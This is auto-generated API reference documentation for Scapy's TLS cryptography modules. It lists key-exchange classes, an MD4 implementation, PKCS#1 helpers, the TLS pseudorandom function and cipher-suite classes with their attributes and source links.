class scapy.layers.tls.crypto.kx_algs.KX_DH_anon[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L185-L188]

	Bases: _GenericKX


	
anonymous = True

	




	
client_kx_msg_cls[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L725-L788]

	alias of ClientDiffieHellmanPublic






	
descr = 'Anonymous DH, no signatures'

	




	
export = False

	




	
name = 'DH_anon'

	




	
no_ske = False

	




	
server_kx_msg_cls(m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L187-L187]

	








	
class scapy.layers.tls.crypto.kx_algs.KX_DH_anon_EXPORT[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L197-L198]

	Bases: KX_DH_anon


	
anonymous = True

	




	
descr = 'Anonymous DH, no signatures - Export version'

	




	
export = True

	




	
name = 'DH_anon_EXPORT'

	




	
no_ske = False

	








	
class scapy.layers.tls.crypto.kx_algs.KX_ECDHE_ECDSA[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L114-L117]

	Bases: _GenericKX


	
anonymous = False

	




	
client_kx_msg_cls[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L791-L858]

	alias of ClientECDiffieHellmanPublic






	
descr = 'Ephemeral ECDH with ECDSA signature'

	




	
export = False

	




	
name = 'ECDHE_ECDSA'

	




	
no_ske = False

	




	
server_kx_msg_cls(m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L116-L116]

	








	
class scapy.layers.tls.crypto.kx_algs.KX_ECDHE_RSA[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L89-L92]

	Bases: _GenericKX


	
anonymous = False

	




	
client_kx_msg_cls[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L791-L858]

	alias of ClientECDiffieHellmanPublic






	
descr = 'Ephemeral ECDH with RSA signature'

	




	
export = False

	




	
name = 'ECDHE_RSA'

	




	
no_ske = False

	




	
server_kx_msg_cls(m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L91-L91]

	








	
class scapy.layers.tls.crypto.kx_algs.KX_ECDH_anon[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L191-L194]

	Bases: _GenericKX


	
anonymous = True

	




	
client_kx_msg_cls[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L791-L858]

	alias of ClientECDiffieHellmanPublic






	
descr = 'ECDH anonymous key exchange'

	




	
export = False

	




	
name = 'ECDH_anon'

	




	
no_ske = False

	




	
server_kx_msg_cls(m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L193-L193]

	








	
class scapy.layers.tls.crypto.kx_algs.KX_NULL[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L47-L50]

	Bases: _GenericKX


	
anonymous = False

	




	
client_kx_msg_cls = None

	




	
descr = 'No key exchange'

	




	
export = False

	




	
name = 'NULL'

	




	
no_ske = True

	




	
server_kx_msg_cls(m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L49-L49]

	








	
class scapy.layers.tls.crypto.kx_algs.KX_RSA[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L67-L70]

	Bases: _GenericKX


	
anonymous = False

	




	
client_kx_msg_cls[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/keyexchange.py#L875-L956]

	alias of EncryptedPreMasterSecret






	
descr = 'RSA encryption'

	




	
export = False

	




	
name = 'RSA'

	




	
no_ske = True

	




	
server_kx_msg_cls(m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L69-L69]

	








	
class scapy.layers.tls.crypto.kx_algs.KX_RSA_EXPORT[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L95-L97]

	Bases: KX_RSA


	
anonymous = False

	




	
descr = 'RSA encryption, export version'

	




	
export = True

	




	
name = 'RSA_EXPORT'

	




	
no_ske = False

	




	
server_kx_msg_cls(m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L97-L97]

	








	
class scapy.layers.tls.crypto.kx_algs.KX_SSLv2[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L53-L56]

	Bases: _GenericKX


	
anonymous = False

	




	
client_kx_msg_cls = None

	




	
descr = 'SSLv2 dummy key exchange class'

	




	
export = False

	




	
name = 'SSLv2'

	




	
no_ske = True

	




	
server_kx_msg_cls(m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L55-L55]

	








	
class scapy.layers.tls.crypto.kx_algs.KX_TLS13[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L59-L62]

	Bases: _GenericKX


	
anonymous = False

	




	
client_kx_msg_cls = None

	




	
descr = 'TLS 1.3 dummy key exchange class'

	




	
export = False

	




	
name = 'TLS13'

	




	
no_ske = True

	




	
server_kx_msg_cls(m)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/kx_algs.py#L61-L61]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.crypto.md4

MD4 implementation

Modified from:
https://gist.github.com/kangtastic/c3349fc4f9d659ee362b12d7d8c639b6


	
class scapy.layers.tls.crypto.md4.MD4(msg=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/md4.py#L16-L95]

	Bases: object

An implementation of the MD4 hash algorithm.

Modified to provide the same API as hashlib’s.


	
static F(x, y, z)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/md4.py#L80-L82]

	




	
static G(x, y, z)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/md4.py#L84-L86]

	




	
static H(x, y, z)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/md4.py#L88-L90]

	




	
block_size = 64

	




	
digest()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/md4.py#L36-L47]

	




	
h = [1732584193, 4023233417, 2562383102, 271733878]

	




	
static lrot(value, n)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/md4.py#L92-L95]

	




	
mask = 4294967295

	




	
name = 'md4'

	




	
update(msg)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/md4.py#L33-L34]

	




	
width = 32

	










            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.crypto.pkcs1

PKCS #1 methods as defined in RFC 3447.

We cannot rely solely on the cryptography library, because the openssl package
used by the cryptography library may not implement the md5-sha1 hash, as with
Ubuntu or OSX. This is why we reluctantly keep some legacy crypto here.


	
scapy.layers.tls.crypto.pkcs1.pkcs_i2osp(n, sLen)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/pkcs1.py#L41-L54]

	I2OSP conversion function from RFC 3447.
The length parameter allows the function to perform the padding needed.
Note that the user is responsible for providing a sufficient xLen.


	Parameters:

	
	n – nonnegative integer to be converted


	sLen – intended length of the resulting octet string






	Returns:

	corresponding octet string










	
scapy.layers.tls.crypto.pkcs1.pkcs_ilen(n)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/pkcs1.py#L57-L66]

	This is a log base 256 which determines the minimum octet string
length for unequivocal representation of integer n by pkcs_i2osp.






	
scapy.layers.tls.crypto.pkcs1.pkcs_os2ip(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/pkcs1.py#L31-L38]

	OS2IP conversion function from RFC 3447.


	Parameters:

	s – octet string to be converted



	Returns:

	n, the corresponding nonnegative integer












            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.crypto.prf

TLS Pseudorandom Function.


	
class scapy.layers.tls.crypto.prf.PRF(hash_name='SHA256', tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/prf.py#L177-L359]

	Bases: object

The PRF used by SSL/TLS varies based on the version of the protocol and
(for TLS 1.2) possibly the Hash algorithm of the negotiated cipher suite.
The various uses of the PRF (key derivation, computation of verify_data,
computation of pre_master_secret values) for the different versions of the
protocol also changes. In order to abstract those elements, the common
_tls_PRF() object is provided. It is expected to be initialised in the
context of the connection state using the tls_version and the cipher suite.


	
compute_master_secret(pre_master_secret, client_random, server_random, extms=False, handshake_hash=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/prf.py#L211-L230]

	Return the 48-byte master_secret, computed from pre_master_secret,
client_random and server_random. See RFC 5246, section 6.3.
Supports Extended Master Secret Derivation, see RFC 7627






	
compute_verify_data(con_end, read_or_write, handshake_msg, master_secret)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/prf.py#L244-L301]

	Return verify_data based on handshake messages, connection end,
master secret, and read_or_write position. See RFC 5246, section 7.4.9.

Every TLS 1.2 cipher suite has a verify_data of length 12. Note also:

"This PRF with the SHA-256 hash function is used for all cipher
suites defined in this document and in TLS documents published
prior to this document when TLS 1.2 is negotiated."





Cipher suites using SHA-384 were defined later on.






	
derive_key_block(master_secret, server_random, client_random, req_len)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/prf.py#L232-L242]

	Perform the derivation of master_secret into a key_block of req_len
requested length. See RFC 5246, section 6.3.






	
generate_iv_for_export(client_random, server_random, con_end, read_or_write, req_len)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/prf.py#L332-L359]

	Generate IV for EXPORT ciphersuite, i.e. weakens it.
An export IV generation example is given in section 6.3.1 of RFC 2246.
See also page 86 of EKR’s book.






	
postprocess_key_for_export(key, client_random, server_random, con_end, read_or_write, req_len)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/prf.py#L303-L330]

	Postprocess cipher key for EXPORT ciphersuite, i.e. weakens it.
An export key generation example is given in section 6.3.1 of RFC 2246.
See also page 86 of EKR’s book.












            

          

      

      

    

  

    
      
          
            
  
scapy.layers.tls.crypto.suites

TLS cipher suites.

A comprehensive list of specified cipher suites can be consulted at:
https://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml


	
class scapy.layers.tls.crypto.suites.SSL_CK_DES_192_EDE3_CBC_WITH_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1291-L1292]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 458944

	








	
class scapy.layers.tls.crypto.suites.SSL_CK_DES_64_CBC_WITH_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1287-L1288]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 393280

	








	
class scapy.layers.tls.crypto.suites.SSL_CK_IDEA_128_CBC_WITH_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1283-L1284]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 327808

	








	
class scapy.layers.tls.crypto.suites.SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1279-L1280]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 262272

	








	
class scapy.layers.tls.crypto.suites.SSL_CK_RC2_128_CBC_WITH_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1275-L1276]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 196736

	








	
class scapy.layers.tls.crypto.suites.SSL_CK_RC4_128_EXPORT40_WITH_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1271-L1272]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 131200

	








	
class scapy.layers.tls.crypto.suites.SSL_CK_RC4_128_WITH_MD5(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1267-L1268]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 65664

	








	
class scapy.layers.tls.crypto.suites.TLS_AES_128_CCM_8_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1263-L1264]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 4869

	








	
class scapy.layers.tls.crypto.suites.TLS_AES_128_CCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1259-L1260]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 4868

	








	
class scapy.layers.tls.crypto.suites.TLS_AES_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1247-L1248]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 4865

	








	
class scapy.layers.tls.crypto.suites.TLS_AES_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1251-L1252]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 4866

	








	
class scapy.layers.tls.crypto.suites.TLS_CHACHA20_POLY1305_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1255-L1256]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 4867

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L213-L214]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 17

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L221-L222]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 19

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_DSS_WITH_AES_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L337-L338]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 50

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_DSS_WITH_AES_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L393-L394]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 64

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_DSS_WITH_AES_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L569-L570]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 162

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_DSS_WITH_AES_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L361-L362]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 56

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_DSS_WITH_AES_256_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L433-L434]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 106

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_DSS_WITH_AES_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L573-L574]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 163

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L409-L410]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 68

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L677-L678]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 189

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_DSS_WITH_CAMELLIA_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1013-L1014]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49280

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L461-L462]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 135

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L701-L702]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 195

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_DSS_WITH_CAMELLIA_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1017-L1018]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49281

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_DSS_WITH_DES_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L217-L218]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 18

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_DSS_WITH_SEED_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L533-L534]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 153

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L493-L494]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 143

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_AES_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L497-L498]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 144

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_AES_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L633-L634]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 178

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_AES_128_CCM(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1165-L1166]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49318

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_AES_128_CCM_8(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1181-L1182]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49322

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_AES_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L601-L602]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 170

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_AES_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L501-L502]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 145

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_AES_256_CBC_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L637-L638]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 179

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_AES_256_CCM(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1169-L1170]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49319

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_AES_256_CCM_8(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1185-L1186]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49323

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_AES_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L605-L606]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 171

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1101-L1102]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49302

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_CAMELLIA_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1077-L1078]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49296

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1105-L1106]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49303

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_CAMELLIA_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1081-L1082]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49297

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_CHACHA20_POLY1305_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1239-L1240]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 52397

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_NULL_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L317-L318]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 45

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_NULL_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L641-L642]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 180

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_NULL_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L645-L646]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 181

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_PSK_WITH_RC4_128_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L489-L490]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 142

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L225-L226]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 20

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L233-L234]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 22

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_AES_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L341-L342]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 51

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_AES_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L421-L422]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 103

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_AES_128_CCM(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1133-L1134]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49310

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_AES_128_CCM_8(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1149-L1150]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49314

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_AES_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L553-L554]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 158

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_AES_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L365-L366]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 57

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_AES_256_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L437-L438]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 107

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_AES_256_CCM(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1137-L1138]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49311

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_AES_256_CCM_8(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1153-L1154]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49315

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_AES_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L557-L558]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 159

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L413-L414]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 69

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L681-L682]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 190

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_CAMELLIA_128_GCM_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L997-L998]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49276

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L465-L466]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 136

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L705-L706]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 196

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_CAMELLIA_256_GCM_SHA384(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1001-L1002]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 49277

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1227-L1228]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 52394

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256_OLD(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L1215-L1216]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 52245

	








	
class scapy.layers.tls.crypto.suites.TLS_DHE_RSA_WITH_DES_CBC_SHA(tls_version=771)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/tls/crypto/suites.py#L229-L230]

	Bases: _GenericCipherSuite


	
usable = False

	




	
val = 21

	








	
